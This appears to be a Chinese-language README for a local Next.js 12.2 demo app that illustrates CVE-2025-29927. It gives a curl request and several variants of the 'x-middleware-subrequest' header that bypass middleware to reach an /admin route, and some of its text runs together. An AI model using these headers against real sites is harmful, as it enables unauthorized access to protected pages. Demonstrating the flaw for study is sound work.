一个简单的 Next.js 12.2 概念验证应用。
npm install
npm run dev
应用将在 http://localhost:3000 可用
npm run dev - 启动开发服务器npm run build - 构建生产版本npm run start - 启动生产服务器编辑 pages/index.js 修改 Hello World 页面。为简化起见,应用使用内联样式,但你可以根据需要添加 CSS 文件或样式库。
本应用演示了由 Rachid.A (zhero) 和 Yasser Allam (inzo_) 发现的 CVE-2025-29927 漏洞:
x-middleware-subrequest 头实现完全中间件绕过adminadminx-middleware-subrequest: middleware 头curl -H "x-middleware-subrequest: middleware" http://localhost:3000/adminx-middleware-subrequest: middlewarex-middleware-subrequest: src/middlewarex-middleware-subrequest: middleware:middleware:middleware:middleware:middlewarex-middleware-subrequest 头⚠️ 警告:本演示仅用于教育目的,展示真实 CVE!
为简化起见,本应用使用内联样式。对于生产应用,建议使用:
祝你编码愉快!🚀